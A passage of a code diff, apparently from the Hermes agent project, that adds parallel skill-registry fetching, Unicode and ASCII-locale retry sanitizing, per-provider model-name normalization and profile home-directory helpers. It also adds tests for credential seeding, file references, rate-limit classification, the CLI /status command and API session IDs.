+        "github": 200, "clawhub": 500, "claude-marketplace": 100,
+        "lobehub": 500,
+    }
 
-    all_results: list = []
-    source_counts: dict = {}
-
-    for src in sources:
-        sid = src.source_id()
-        if source != "all" and sid != source and sid != "official":
-            # Always include official source for the "first" placement
-            continue
-        try:
-            limit = _PER_SOURCE_LIMIT.get(sid, 50)
-            results = src.search("", limit=limit)
-            source_counts[sid] = len(results)
-            all_results.extend(results)
-        except Exception:
-            continue
+    with c.status("[bold]Fetching skills from registries..."):
+        all_results, source_counts, timed_out = parallel_search_sources(
+            sources,
+            query="",
+            per_source_limits=_PER_SOURCE_LIMIT,
+            source_filter=source,
+            overall_timeout=30,
+        )
 
     if not all_results:
         c.print("[dim]No skills found in the Skills Hub.[/]\n")
@@ -252,8 +249,11 @@ def do_browse(page: int = 1, page_size: int = 20, source: str = "all",
 
     # Build header
     source_label = f"— {source}" if source != "all" else "— all sources"
+    loaded_label = f"{total} skills loaded"
+    if timed_out:
+        loaded_label += f", {len(timed_out)} source(s) still loading"
     c.print(f"\n[bold]Skills Hub — Browse {source_label}[/]"
-            f"  [dim]({total} skills, page {page}/{total_pages})[/]")
+            f"  [dim]({loaded_label}, page {page}/{total_pages})[/]")
     if official_count > 0 and page == 1:
         c.print(f"[bright_cyan]★ {official_count} official optional skill(s) from Nous Research[/]")
     c.print()
@@ -300,8 +300,11 @@ def do_browse(page: int = 1, page_size: int = 20, source: str = "all",
         parts = [f"{sid}: {ct}" for sid, ct in sorted(source_counts.items())]
         c.print(f"  [dim]Sources: {', '.join(parts)}[/]")
 
-    c.print("[dim]Use: hermes skills inspect <identifier> to preview, "
-            "hermes skills install <identifier> to install[/]\n")
+    if timed_out:
+        c.print(f"  [yellow]⚡ Slow sources skipped: {', '.join(timed_out)} "
+                f"— run again for cached results[/]")
+
+    c.print("[dim]Tip: 'hermes skills search <query>' searches deeper across all registries[/]\n")
 
 
 def do_install(identifier: str, category: str = "", force: bool = False,

hermes_cli/status.py

@@ -305,6 +305,7 @@ def show_status(args):
         "DingTalk": ("DINGTALK_CLIENT_ID", None),
         "Feishu": ("FEISHU_APP_ID", "FEISHU_HOME_CHANNEL"),
         "WeCom": ("WECOM_BOT_ID", "WECOM_HOME_CHANNEL"),
+        "Weixin": ("WEIXIN_ACCOUNT_ID", "WEIXIN_HOME_CHANNEL"),
         "BlueBubbles": ("BLUEBUBBLES_SERVER_URL", "BLUEBUBBLES_HOME_CHANNEL"),
     }
     

hermes_cli/tools_config.py

@@ -133,6 +133,7 @@ PLATFORMS = {
  "dingtalk": {"label": "💬 DingTalk", "default_toolset": "hermes-dingtalk"},
     "feishu": {"label": "🪽 Feishu", "default_toolset": "hermes-feishu"},
     "wecom": {"label": "💬 WeCom", "default_toolset": "hermes-wecom"},
+    "weixin": {"label": "💬 Weixin", "default_toolset": "hermes-weixin"},
     "api_server": {"label": "🌐 API Server", "default_toolset": "hermes-api-server"},
     "mattermost": {"label": "💬 Mattermost", "default_toolset": "hermes-mattermost"},
     "webhook": {"label": "🔗 Webhook", "default_toolset": "hermes-webhook"},
@@ -720,6 +721,8 @@ def _prompt_choice(question: str, choices: list, default: int = 0) -> int:
                     return
 
         curses.wrapper(_curses_menu)
+        from hermes_cli.curses_ui import flush_stdin
+        flush_stdin()
         return result_holder[0]
 
     except Exception:

hermes_constants.py

@@ -17,6 +17,45 @@ def get_hermes_home() -> Path:
     return Path(os.getenv("HERMES_HOME", Path.home() / ".hermes"))
 
 
+def get_default_hermes_root() -> Path:
+    """Return the root Hermes directory for profile-level operations.
+
+    In standard deployments this is ``~/.hermes``.
+
+    In Docker or custom deployments where ``HERMES_HOME`` points outside
+    ``~/.hermes`` (e.g. ``/opt/data``), returns ``HERMES_HOME`` directly
+    — that IS the root.
+
+    In profile mode where ``HERMES_HOME`` is ``<root>/profiles/<name>``,
+    returns ``<root>`` so that ``profile list`` can see all profiles.
+    Works both for standard (``~/.hermes/profiles/coder``) and Docker
+    (``/opt/data/profiles/coder``) layouts.
+
+    Import-safe — no dependencies beyond stdlib.
+    """
+    native_home = Path.home() / ".hermes"
+    env_home = os.environ.get("HERMES_HOME", "")
+    if not env_home:
+        return native_home
+    env_path = Path(env_home)
+    try:
+        env_path.resolve().relative_to(native_home.resolve())
+        # HERMES_HOME is under ~/.hermes (normal or profile mode)
+        return native_home
+    except ValueError:
+        pass
+
+    # Docker / custom deployment.
+    # Check if this is a profile path: <root>/profiles/<name>
+    # If the immediate parent dir is named "profiles", the root is
+    # the grandparent — this covers Docker profiles correctly.
+    if env_path.parent.name == "profiles":
+        return env_path.parent.parent
+
+    # Not a profile path — HERMES_HOME itself is the root
+    return env_path
+
+
 def get_optional_skills_dir(default: Path | None = None) -> Path:
     """Return the optional-skills directory, honoring package-manager wrappers.
 
@@ -72,6 +111,32 @@ def display_hermes_home() -> str:
         return str(home)
 
 
+def get_subprocess_home() -> str | None:
+    """Return a per-profile HOME directory for subprocesses, or None.
+
+    When ``{HERMES_HOME}/home/`` exists on disk, subprocesses should use it
+    as ``HOME`` so system tools (git, ssh, gh, npm …) write their configs
+    inside the Hermes data directory instead of the OS-level ``/root`` or
+    ``~/``.  This provides:
+
+    * **Docker persistence** — tool configs land inside the persistent volume.
+    * **Profile isolation** — each profile gets its own git identity, SSH
+      keys, gh tokens, etc.
+
+    The Python process's own ``os.environ["HOME"]`` and ``Path.home()`` are
+    **never** modified — only subprocess environments should inject this value.
+    Activation is directory-based: if the ``home/`` subdirectory doesn't
+    exist, returns ``None`` and behavior is unchanged.
+    """
+    hermes_home = os.getenv("HERMES_HOME")
+    if not hermes_home:
+        return None
+    profile_home = os.path.join(hermes_home, "home")
+    if os.path.isdir(profile_home):
+        return profile_home
+    return None
+
+
 VALID_REASONING_EFFORTS = ("minimal", "low", "medium", "high", "xhigh")
 
 

run_agent.py

@@ -359,8 +359,9 @@ def _sanitize_surrogates(text: str) -> str:
 def _sanitize_messages_surrogates(messages: list) -> bool:
     """Sanitize surrogate characters from all string content in a messages list.
 
-    Walks message dicts in-place.  Returns True if any surrogates were found
-    and replaced, False otherwise.
+    Walks message dicts in-place. Returns True if any surrogates were found
+    and replaced, False otherwise. Covers content/text, name, and tool call
+    metadata/arguments so retries don't fail on a non-content field.
     """
     found = False
     for msg in messages:
@@ -377,6 +378,88 @@ def _sanitize_messages_surrogates(messages: list) -> bool:
                     if isinstance(text, str) and _SURROGATE_RE.search(text):
                         part["text"] = _SURROGATE_RE.sub('\ufffd', text)
                         found = True
+        name = msg.get("name")
+        if isinstance(name, str) and _SURROGATE_RE.search(name):
+            msg["name"] = _SURROGATE_RE.sub('\ufffd', name)
+            found = True
+        tool_calls = msg.get("tool_calls")
+        if isinstance(tool_calls, list):
+            for tc in tool_calls:
+                if not isinstance(tc, dict):
+                    continue
+                tc_id = tc.get("id")
+                if isinstance(tc_id, str) and _SURROGATE_RE.search(tc_id):
+                    tc["id"] = _SURROGATE_RE.sub('\ufffd', tc_id)
+                    found = True
+                fn = tc.get("function")
+                if isinstance(fn, dict):
+                    fn_name = fn.get("name")
+                    if isinstance(fn_name, str) and _SURROGATE_RE.search(fn_name):
+                        fn["name"] = _SURROGATE_RE.sub('\ufffd', fn_name)
+                        found = True
+                    fn_args = fn.get("arguments")
+                    if isinstance(fn_args, str) and _SURROGATE_RE.search(fn_args):
+                        fn["arguments"] = _SURROGATE_RE.sub('\ufffd', fn_args)
+                        found = True
+    return found
+
+
+def _strip_non_ascii(text: str) -> str:
+    """Remove non-ASCII characters, replacing with closest ASCII equivalent or removing.
+
+    Used as a last resort when the system encoding is ASCII and can't handle
+    any non-ASCII characters (e.g. LANG=C on Chromebooks).
+    """
+    return text.encode('ascii', errors='ignore').decode('ascii')
+
+
+def _sanitize_messages_non_ascii(messages: list) -> bool:
+    """Strip non-ASCII characters from all string content in a messages list.
+
+    This is a last-resort recovery for systems with ASCII-only encoding
+    (LANG=C, Chromebooks, minimal containers).  Returns True if any
+    non-ASCII content was found and sanitized.
+    """
+    found = False
+    for msg in messages:
+        if not isinstance(msg, dict):
+            continue
+        # Sanitize content (string)
+        content = msg.get("content")
+        if isinstance(content, str):
+            sanitized = _strip_non_ascii(content)
+            if sanitized != content:
+                msg["content"] = sanitized
+                found = True
+        elif isinstance(content, list):
+            for part in content:
+                if isinstance(part, dict):
+                    text = part.get("text")
+                    if isinstance(text, str):
+                        sanitized = _strip_non_ascii(text)
+                        if sanitized != text:
+                            part["text"] = sanitized
+                            found = True
+        # Sanitize name field (can contain non-ASCII in tool results)
+        name = msg.get("name")
+        if isinstance(name, str):
+            sanitized = _strip_non_ascii(name)
+            if sanitized != name:
+                msg["name"] = sanitized
+                found = True
+        # Sanitize tool_calls
+        tool_calls = msg.get("tool_calls")
+        if isinstance(tool_calls, list):
+            for tc in tool_calls:
+                if isinstance(tc, dict):
+                    fn = tc.get("function", {})
+                    if isinstance(fn, dict):
+                        fn_args = fn.get("arguments")
+                        if isinstance(fn_args, str):
+                            sanitized = _strip_non_ascii(fn_args)
+                            if sanitized != fn_args:
+                                fn["arguments"] = sanitized
+                                found = True
     return found
 
 
@@ -606,6 +689,17 @@ class AIAgent:
         else:
             self.api_mode = "chat_completions"
 
+        try:
+            from hermes_cli.model_normalize import (
+                _AGGREGATOR_PROVIDERS,
+                normalize_model_for_provider,
+            )
+
+            if self.provider not in _AGGREGATOR_PROVIDERS:
+                self.model = normalize_model_for_provider(self.model, self.provider)
+        except Exception:
+            pass
+
         # Direct OpenAI sessions use the Responses API path.  GPT-5.x tool
         # calls with reasoning are rejected on /v1/chat/completions, and
         # Hermes is a tool-using client by default.
@@ -853,6 +947,7 @@ class AIAgent:
                     client_kwargs["default_headers"] = headers
 
             self.api_key = client_kwargs.get("api_key", "")
+            self.base_url = client_kwargs.get("base_url", self.base_url)
             try:
                 self.client = self._create_openai_client(client_kwargs, reason="agent_init", shared=True)
                 if not self.quiet_mode:
@@ -1149,6 +1244,9 @@ class AIAgent:
             except (TypeError, ValueError):
                 _config_context_length = None
 
+        # Store for reuse in switch_model (so config override persists across model switches)
+        self._config_context_length = _config_context_length
+
         # Check custom_providers per-model context_length
         if _config_context_length is None:
             _custom_providers = _agent_cfg.get("custom_providers")
@@ -1386,6 +1484,7 @@ class AIAgent:
                 base_url=self.base_url,
                 api_key=self.api_key,
                 provider=self.provider,
+                config_context_length=getattr(self, "_config_context_length", None),
             )
             self.context_compressor.model = self.model
             self.context_compressor.base_url = self.base_url
@@ -2922,7 +3021,7 @@ class AIAgent:
 
     @staticmethod
     def _cap_delegate_task_calls(tool_calls: list) -> list:
-        """Truncate excess delegate_task calls to MAX_CONCURRENT_CHILDREN.
+        """Truncate excess delegate_task calls to max_concurrent_children.
 
         The delegate_tool caps the task list inside a single call, but the
         model can emit multiple separate delegate_task tool_calls in one
@@ -2930,23 +3029,24 @@ class AIAgent:
 
         Returns the original list if no truncation was needed.
         """
-        from tools.delegate_tool import MAX_CONCURRENT_CHILDREN
+        from tools.delegate_tool import _get_max_concurrent_children
+        max_children = _get_max_concurrent_children()
         delegate_count = sum(1 for tc in tool_calls if tc.function.name == "delegate_task")
-        if delegate_count <= MAX_CONCURRENT_CHILDREN:
+        if delegate_count <= max_children:
             return tool_calls
         kept_delegates = 0
         truncated = []
         for tc in tool_calls:
             if tc.function.name == "delegate_task":
-                if kept_delegates < MAX_CONCURRENT_CHILDREN:
+                if kept_delegates < max_children:
                     truncated.append(tc)
                     kept_delegates += 1
             else:
                 truncated.append(tc)
         logger.warning(
             "Truncated %d excess delegate_task call(s) to enforce "
-            "MAX_CONCURRENT_CHILDREN=%d limit",
-            delegate_count - MAX_CONCURRENT_CHILDREN, MAX_CONCURRENT_CHILDREN,
+            "max_concurrent_children=%d limit",
+            delegate_count - max_children, max_children,
         )
         return truncated
 
@@ -5005,7 +5105,7 @@ class AIAgent:
             # when no explicit key is in the fallback config.
             if fb_base_url_hint and "ollama.com" in fb_base_url_hint.lower() and not fb_api_key_hint:
                 fb_api_key_hint = os.getenv("OLLAMA_API_KEY") or None
-            fb_client, _ = resolve_provider_client(
+            fb_client, _resolved_fb_model = resolve_provider_client(
                 fb_provider, model=fb_model, raw_codex=True,
                 explicit_base_url=fb_base_url_hint,
                 explicit_api_key=fb_api_key_hint)
@@ -5014,6 +5114,12 @@ class AIAgent:
                     "Fallback to %s failed: provider not configured",
                     fb_provider)
                 return self._try_activate_fallback()  # try next in chain
+            try:
+                from hermes_cli.model_normalize import normalize_model_for_provider
+
+                fb_model = normalize_model_for_provider(fb_model, fb_provider)
+            except Exception:
+                pass
 
             # Determine api_mode from provider / base URL
             fb_api_mode = "chat_completions"
@@ -5498,7 +5604,7 @@ class AIAgent:
                 preserve_dots=self._anthropic_preserve_dots(),
                 context_length=ctx_len,
                 base_url=getattr(self, "_anthropic_base_url", None),
-                fast_mode=self.request_overrides.get("speed") == "fast",
+                fast_mode=(self.request_overrides or {}).get("speed") == "fast",
             )
 
         if self.api_mode == "codex_responses":
@@ -7162,7 +7268,7 @@ class AIAgent:
         self._thinking_prefill_retries = 0
         self._last_content_with_tools = None
         self._mute_post_response = False
-        self._surrogate_sanitized = False
+        self._unicode_sanitization_passes = 0
 
         # Pre-turn connection health check: detect and clean up dead TCP
         # connections left over from provider outages or dropped streams.
@@ -8147,22 +8253,40 @@ class AIAgent:
                         self.thinking_callback("")
 
                     # -----------------------------------------------------------
-                    # Surrogate character recovery.  UnicodeEncodeError happens
-                    # when the messages contain lone surrogates (U+D800..U+DFFF)
-                    # that are invalid UTF-8.  Common source: clipboard paste
-                    # from Google Docs or similar rich-text editors.  We sanitize
-                    # the entire messages list in-place and retry once.
+                    # UnicodeEncodeError recovery.  Two common causes:
+                    #   1. Lone surrogates (U+D800..U+DFFF) from clipboard paste
+                    #      (Google Docs, rich-text editors) — sanitize and retry.
+                    #   2. ASCII codec on systems with LANG=C or non-UTF-8 locale
+                    #      (e.g. Chromebooks) — any non-ASCII character fails.
+                    #      Detect via the error message mentioning 'ascii' codec.
+                    # We sanitize messages in-place and may retry twice:
+                    # first to strip surrogates, then once more for pure
+                    # ASCII-only locale sanitization if needed.
                     # -----------------------------------------------------------
-                    if isinstance(api_error, UnicodeEncodeError) and not getattr(self, '_surrogate_sanitized', False):
-                        self._surrogate_sanitized = True
-                        if _sanitize_messages_surrogates(messages):
+                    if isinstance(api_error, UnicodeEncodeError) and getattr(self, '_unicode_sanitization_passes', 0) < 2:
+                        _err_str = str(api_error).lower()
+                        _is_ascii_codec = "'ascii'" in _err_str or "ascii" in _err_str
+                        _surrogates_found = _sanitize_messages_surrogates(messages)
+                        if _surrogates_found:
+                            self._unicode_sanitization_passes += 1
                             self._vprint(
                                 f"{self.log_prefix}⚠️  Stripped invalid surrogate characters from messages. Retrying...",
                                 force=True,
                             )
                             continue
-                        # Surrogates weren't in messages — might be in system
-                        # prompt or prefill.  Fall through to normal error path.
+                        if _is_ascii_codec:
+                            # ASCII codec: the system encoding can't handle
+                            # non-ASCII characters at all. Sanitize all
+                            # non-ASCII content from messages and retry.
+                            if _sanitize_messages_non_ascii(messages):
+                                self._unicode_sanitization_passes += 1
+                                self._vprint(
+                                    f"{self.log_prefix}⚠️  System encoding is ASCII — stripped non-ASCII characters from messages. Retrying...",
+                                    force=True,
+                                )
+                                continue
+                        # Nothing to sanitize in messages — might be in system
+                        # prompt or prefill. Fall through to normal error path.
 
                     status_code = getattr(api_error, "status_code", None)
                     error_context = self._extract_api_error_context(api_error)

tests/agent/test_auxiliary_client.py

@@ -1111,3 +1111,45 @@ class TestCallLlmPaymentFallback:
                     task="compression",
                     messages=[{"role": "user", "content": "hello"}],
                 )
+
+
+# ---------------------------------------------------------------------------
+# Gate: _resolve_api_key_provider must skip anthropic when not configured
+# ---------------------------------------------------------------------------
+
+
+def test_resolve_api_key_provider_skips_unconfigured_anthropic(monkeypatch):
+    """_resolve_api_key_provider must not try anthropic when user never configured it."""
+    from collections import OrderedDict
+    from hermes_cli.auth import ProviderConfig
+
+    # Build a minimal registry with only "anthropic" so the loop is guaranteed
+    # to reach it without being short-circuited by earlier providers.
+    fake_registry = OrderedDict({
+        "anthropic": ProviderConfig(
+            id="anthropic",
+            name="Anthropic",
+            auth_type="api_key",
+            inference_base_url="https://api.anthropic.com",
+            api_key_env_vars=("ANTHROPIC_API_KEY",),
+        ),
+    })
+
+    called = []
+
+    def mock_try_anthropic():
+        called.append("anthropic")
+        return None, None
+
+    monkeypatch.setattr("agent.auxiliary_client._try_anthropic", mock_try_anthropic)
+    monkeypatch.setattr("hermes_cli.auth.PROVIDER_REGISTRY", fake_registry)
+    monkeypatch.setattr(
+        "hermes_cli.auth.is_provider_explicitly_configured",
+        lambda pid: False,
+    )
+
+    from agent.auxiliary_client import _resolve_api_key_provider
+    _resolve_api_key_provider()
+
+    assert "anthropic" not in called, \
+        "_try_anthropic() should not be called when anthropic is not explicitly configured"

tests/agent/test_auxiliary_named_custom_providers.py

@@ -12,6 +12,17 @@ def _isolate(tmp_path, monkeypatch):
     hermes_home = tmp_path / ".hermes"
     hermes_home.mkdir()
     monkeypatch.setenv("HERMES_HOME", str(hermes_home))
+    for env_var in (
+        "AUXILIARY_VISION_PROVIDER",
+        "AUXILIARY_VISION_MODEL",
+        "AUXILIARY_VISION_BASE_URL",
+        "AUXILIARY_VISION_API_KEY",
+        "CONTEXT_VISION_PROVIDER",
+        "CONTEXT_VISION_MODEL",
+        "CONTEXT_VISION_BASE_URL",
+        "CONTEXT_VISION_API_KEY",
+    ):
+        monkeypatch.delenv(env_var, raising=False)
     # Write a minimal config so load_config doesn't fail
     (hermes_home / "config.yaml").write_text("model:\n  default: test-model\n")
 
@@ -149,3 +160,83 @@ class TestResolveProviderClientNamedCustom:
         # "coffee" doesn't exist in custom_providers
         client, model = resolve_provider_client("coffee", "test")
         assert client is None
+
+
+class TestResolveProviderClientModelNormalization:
+    """Direct-provider auxiliary routing should normalize models like main runtime."""
+
+    def test_matching_native_prefix_is_stripped_for_main_provider(self, tmp_path):
+        _write_config(tmp_path, {
+            "model": {"default": "zai/glm-5.1", "provider": "zai"},
+        })
+        with (
+            patch("hermes_cli.auth.resolve_api_key_provider_credentials", return_value={
+                "api_key": "glm-key",
+                "base_url": "https://api.z.ai/api/paas/v4",
+            }),
+            patch("agent.auxiliary_client.OpenAI") as mock_openai,
+        ):
+            mock_openai.return_value = MagicMock()
+            from agent.auxiliary_client import resolve_provider_client
+
+            client, model = resolve_provider_client("main", "zai/glm-5.1")
+
+        assert client is not None
+        assert model == "glm-5.1"
+
+    def test_non_matching_prefix_is_preserved_for_direct_provider(self, tmp_path):
+        _write_config(tmp_path, {
+            "model": {"default": "zai/glm-5.1", "provider": "zai"},
+        })
+        with (
+            patch("hermes_cli.auth.resolve_api_key_provider_credentials", return_value={
+                "api_key": "glm-key",
+                "base_url": "https://api.z.ai/api/paas/v4",
+            }),
+            patch("agent.auxiliary_client.OpenAI") as mock_openai,
+        ):
+            mock_openai.return_value = MagicMock()
+            from agent.auxiliary_client import resolve_provider_client
+
+            client, model = resolve_provider_client("zai", "google/gemini-2.5-pro")
+
+        assert client is not None
+        assert model == "google/gemini-2.5-pro"
+
+    def test_aggregator_vendor_slug_is_preserved(self, monkeypatch):
+        monkeypatch.setenv("OPENROUTER_API_KEY", "or-key")
+        with patch("agent.auxiliary_client.OpenAI") as mock_openai:
+            mock_openai.return_value = MagicMock()
+            from agent.auxiliary_client import resolve_provider_client
+
+            client, model = resolve_provider_client(
+                "openrouter", "anthropic/claude-sonnet-4.6"
+            )
+
+        assert client is not None
+        assert model == "anthropic/claude-sonnet-4.6"
+
+
+class TestResolveVisionProviderClientModelNormalization:
+    """Vision auto-routing should reuse the same provider-specific normalization."""
+
+    def test_vision_auto_strips_matching_main_provider_prefix(self, tmp_path):
+        _write_config(tmp_path, {
+            "model": {"default": "zai/glm-5.1", "provider": "zai"},
+        })
+        with (
+            patch("agent.auxiliary_client._read_nous_auth", return_value=None),
+            patch("hermes_cli.auth.resolve_api_key_provider_credentials", return_value={
+                "api_key": "glm-key",
+                "base_url": "https://api.z.ai/api/paas/v4",
+            }),
+            patch("agent.auxiliary_client.OpenAI") as mock_openai,
+        ):
+            mock_openai.return_value = MagicMock()
+            from agent.auxiliary_client import resolve_vision_provider_client
+
+            provider, client, model = resolve_vision_provider_client()
+
+        assert provider == "zai"
+        assert client is not None
+        assert model == "glm-5.1"

tests/agent/test_context_references.py

@@ -83,6 +83,24 @@ def test_parse_references_strips_trailing_punctuation():
     assert refs[1].target == "https://example.com/docs"
 
 
+def test_parse_quoted_references_with_spaces_and_preserve_unquoted_ranges():
+    from agent.context_references import parse_context_references
+
+    refs = parse_context_references(
+        'review @file:"C:\\Users\\Simba\\My Project\\main.py":7-9 '
+        'and @folder:"docs and specs" plus @file:src/main.py:1-2'
+    )
+
+    assert [ref.kind for ref in refs] == ["file", "folder", "file"]
+    assert refs[0].target == r"C:\Users\Simba\My Project\main.py"
+    assert refs[0].line_start == 7
+    assert refs[0].line_end == 9
+    assert refs[1].target == "docs and specs"
+    assert refs[2].target == "src/main.py"
+    assert refs[2].line_start == 1
+    assert refs[2].line_end == 2
+
+
 def test_expand_file_range_and_folder_listing(sample_repo: Path):
     from agent.context_references import preprocess_context_references
 
@@ -106,6 +124,30 @@ def test_expand_file_range_and_folder_listing(sample_repo: Path):
     assert not result.warnings
 
 
+def test_expand_quoted_file_reference_with_spaces(tmp_path: Path):
+    from agent.context_references import preprocess_context_references
+
+    workspace = tmp_path / "repo"
+    folder = workspace / "docs and specs"
+    folder.mkdir(parents=True)
+    file_path = folder / "release notes.txt"
+    file_path.write_text("line 1\nline 2\nline 3\n", encoding="utf-8")
+
+    result = preprocess_context_references(
+        'Review @file:"docs and specs/release notes.txt":2-3',
+        cwd=workspace,
+        context_length=100_000,
+    )
+
+    assert result.expanded
+    assert result.message.startswith("Review")
+    assert "line 1" not in result.message
+    assert "line 2" in result.message
+    assert "line 3" in result.message
+    assert "release notes.txt" in result.message
+    assert not result.warnings
+
+
 def test_expand_git_diff_staged_and_log(sample_repo: Path):
     from agent.context_references import preprocess_context_references
 

tests/agent/test_credential_pool.py

@@ -567,6 +567,7 @@ def test_singleton_seed_does_not_clobber_manual_oauth_entry(tmp_path, monkeypatc
     monkeypatch.delenv("ANTHROPIC_API_KEY", raising=False)
     monkeypatch.delenv("ANTHROPIC_TOKEN", raising=False)
     monkeypatch.delenv("CLAUDE_CODE_OAUTH_TOKEN", raising=False)
+    monkeypatch.setattr("hermes_cli.auth.is_provider_explicitly_configured", lambda pid: True)
     _write_auth_store(
         tmp_path,
         {
@@ -1043,3 +1044,30 @@ def test_release_lease_decrements_counter(tmp_path, monkeypatch):
 
     pool.release_lease("cred-1")
     assert pool._active_leases.get("cred-1", 0) == 0
+
+
+def test_load_pool_does_not_seed_claude_code_when_anthropic_not_configured(tmp_path, monkeypatch):
+    """Claude Code credentials must not be auto-seeded when the user never selected anthropic."""
+    monkeypatch.setenv("HERMES_HOME", str(tmp_path / "hermes"))
+    _write_auth_store(tmp_path, {"version": 1, "credential_pool": {}})
+
+    # Claude Code credentials exist on disk
+    monkeypatch.setattr(
+        "agent.anthropic_adapter.read_claude_code_credentials",
+        lambda: {"accessToken": "sk-ant...oken", "refreshToken": "rt", "expiresAt": 9999999999999},
+    )
+    monkeypatch.setattr(
+        "agent.anthropic_adapter.read_hermes_oauth_credentials",
+        lambda: None,
+    )
+    # User configured kimi-coding, NOT anthropic
+    monkeypatch.setattr(
+        "hermes_cli.auth.is_provider_explicitly_configured",
+        lambda pid: pid == "kimi-coding",
+    )
+
+    from agent.credential_pool import load_pool
+    pool = load_pool("anthropic")
+
+    # Should NOT have seeded the claude_code entry
+    assert pool.entries() == []

tests/agent/test_error_classifier.py

@@ -249,6 +249,22 @@ class TestClassifyApiError:
         assert result.reason == FailoverReason.rate_limit
         assert result.should_fallback is True
 
+    def test_alibaba_rate_increased_too_quickly(self):
+        """Alibaba/DashScope returns a unique throttling message.
+
+        Port from anomalyco/opencode#21355.
+        """
+        msg = (
+            "Upstream error from Alibaba: Request rate increased too quickly. "
+            "To ensure system stability, please adjust your client logic to "
+            "scale requests more smoothly over time."
+        )
+        e = MockAPIError(msg, status_code=400)
+        result = classify_api_error(e)
+        assert result.reason == FailoverReason.rate_limit
+        assert result.retryable is True
+        assert result.should_rotate_credential is True
+
     # ── Server errors ──
 
     def test_500_server_error(self):

tests/cli/test_cli_status_command.py

@@ -0,0 +1,85 @@
+"""Tests for CLI /status command behavior."""
+from datetime import datetime
+from types import SimpleNamespace
+from unittest.mock import MagicMock, patch
+
+from cli import HermesCLI
+from hermes_cli.commands import resolve_command
+
+
+def _make_cli():
+    cli_obj = HermesCLI.__new__(HermesCLI)
+    cli_obj.config = {}
+    cli_obj.console = MagicMock()
+    cli_obj.agent = None
+    cli_obj.conversation_history = []
+    cli_obj.session_id = "session-123"
+    cli_obj._pending_input = MagicMock()
+    cli_obj._status_bar_visible = True
+    cli_obj.model = "openai/gpt-5.4"
+    cli_obj.provider = "openai"
+    cli_obj.session_start = datetime(2026, 4, 9, 19, 24)
+    cli_obj._agent_running = False
+    cli_obj._session_db = MagicMock()
+    cli_obj._session_db.get_session.return_value = None
+    return cli_obj
+
+
+def test_status_command_is_available_in_cli_registry():
+    cmd = resolve_command("status")
+    assert cmd is not None
+    assert cmd.gateway_only is False
+
+
+def test_process_command_status_dispatches_without_toggling_status_bar():
+    cli_obj = _make_cli()
+
+    with patch.object(cli_obj, "_show_session_status", create=True) as mock_status:
+        assert cli_obj.process_command("/status") is True
+
+    mock_status.assert_called_once_with()
+    assert cli_obj._status_bar_visible is True
+
+
+def test_statusbar_still_toggles_visibility():
+    cli_obj = _make_cli()
+
+    assert cli_obj.process_command("/statusbar") is True
+    assert cli_obj._status_bar_visible is False
+
+
+def test_status_prefix_prefers_status_command_over_statusbar_toggle():
+    cli_obj = _make_cli()
+
+    with patch.object(cli_obj, "_show_session_status") as mock_status:
+        assert cli_obj.process_command("/sta") is True
+
+    mock_status.assert_called_once_with()
+    assert cli_obj._status_bar_visible is True
+
+
+def test_show_session_status_prints_gateway_style_summary():
+    cli_obj = _make_cli()
+    cli_obj.agent = SimpleNamespace(
+        session_total_tokens=321,
+        session_api_calls=4,
+    )
+    cli_obj._session_db.get_session.return_value = {
+        "title": "My titled session",
+        "started_at": 1775791440,
+    }
+
+    with patch("cli.display_hermes_home", return_value="~/.hermes"):
+        cli_obj._show_session_status()
+
+    printed = "\n".join(str(call.args[0]) for call in cli_obj.console.print.call_args_list)
+    assert "Hermes CLI Status" in printed
+    assert "Session ID: session-123" in printed
+    assert "Path: ~/.hermes" in printed
+    assert "Title: My titled session" in printed
+    assert "Model: openai/gpt-5.4 (openai)" in printed
+    assert "Tokens: 321" in printed
+    assert "Agent Running: No" in printed
+    _, kwargs = cli_obj.console.print.call_args
+    assert kwargs.get("highlight") is False
+    assert kwargs.get("markup") is False

tests/e2e/test_telegram_commands.py

@@ -105,10 +105,6 @@ class TestTelegramSlashCommands:
         send_status.assert_called_once()
 
     @pytest.mark.asyncio
-    @pytest.mark.xfail(
-        reason="Bug: _handle_provider_command references unbound model_cfg when config.yaml is absent",
-        strict=False,
-    )
     async def test_provider_shows_current_provider(self, adapter):
         send = await send_and_capture(adapter, "/provider")
 

tests/gateway/test_api_server.py

@@ -26,6 +26,7 @@ from gateway.platforms.api_server import (
     APIServerAdapter,
     ResponseStore,
     _CORS_HEADERS,
+    _derive_chat_session_id,
     check_api_server_requirements,
     cors_middleware,
     security_headers_middleware,
@@ -658,6 +659,98 @@ class TestChatCompletionsEndpoint:
             data = await resp.json()
             assert "Provider failed" in data["error"]["message"]
 
+    @pytest.mark.asyncio
+    async def test_stable_session_id_across_turns(self, adapter):
+        """Same conversation (same first user message) produces the same session_id."""
+        mock_result = {"final_response": "ok", "messages": [], "api_calls": 1}
+
+        app = _create_app(adapter)
+        session_ids = []
+        async with TestClient(TestServer(app)) as cli:
+            # Turn 1: single user message
+            with patch.object(adapter, "_run_agent", new_callable=AsyncMock) as mock_run:
+                mock_run.return_value = (mock_result, {"input_tokens": 0, "output_tokens": 0, "total_tokens": 0})
+                await cli.post(
+                    "/v1/chat/completions",
+                    json={
+                        "model": "hermes-agent",
+                        "messages": [{"role": "user", "content": "Hello"}],
+                    },
+                )
+                session_ids.append(mock_run.call_args.kwargs["session_id"])
+
+            # Turn 2: same first message, conversation grew
+            with patch.object(adapter, "_run_agent", new_callable=AsyncMock) as mock_run:
+                mock_run.return_value = (mock_result, {"input_tokens": 0, "output_tokens": 0, "total_tokens": 0})
+                await cli.post(
+                    "/v1/chat/completions",
+                    json={
+                        "model": "hermes-agent",
+                        "messages": [
+                            {"role": "user", "content": "Hello"},
+                            {"role": "assistant", "content": "Hi there!"},
+                            {"role": "user", "content": "How are you?"},
+                        ],
+                    },
+                )
+                session_ids.append(mock_run.call_args.kwargs["session_id"])
+
+        assert session_ids[0] == session_ids[1], "Session ID should be stable across turns"
+        assert session_ids[0].startswith("api-"), "Derived session IDs should have api- prefix"
+
+    @pytest.mark.asyncio
+    async def test_different_conversations_get_different_session_ids(self, adapter):
+        """Different first messages produce different session_ids."""
+        mock_result = {"final_response": "ok", "messages": [], "api_calls": 1}
+
+        app = _create_app(adapter)
+        session_ids = []
+        async with TestClient(TestServer(app)) as cli:
+            for first_msg in ["Hello", "Goodbye"]:
+                with patch.object(adapter, "_run_agent", new_callable=AsyncMock) as mock_run:
+                    mock_run.return_value = (mock_result, {"input_tokens": 0, "output_tokens": 0, "total_tokens": 0})
+                    await cli.post(
+                        "/v1/chat/completions",
+                        json={
+                            "model": "hermes-agent",
+                            "messages": [{"role": "user", "content": first_msg}],
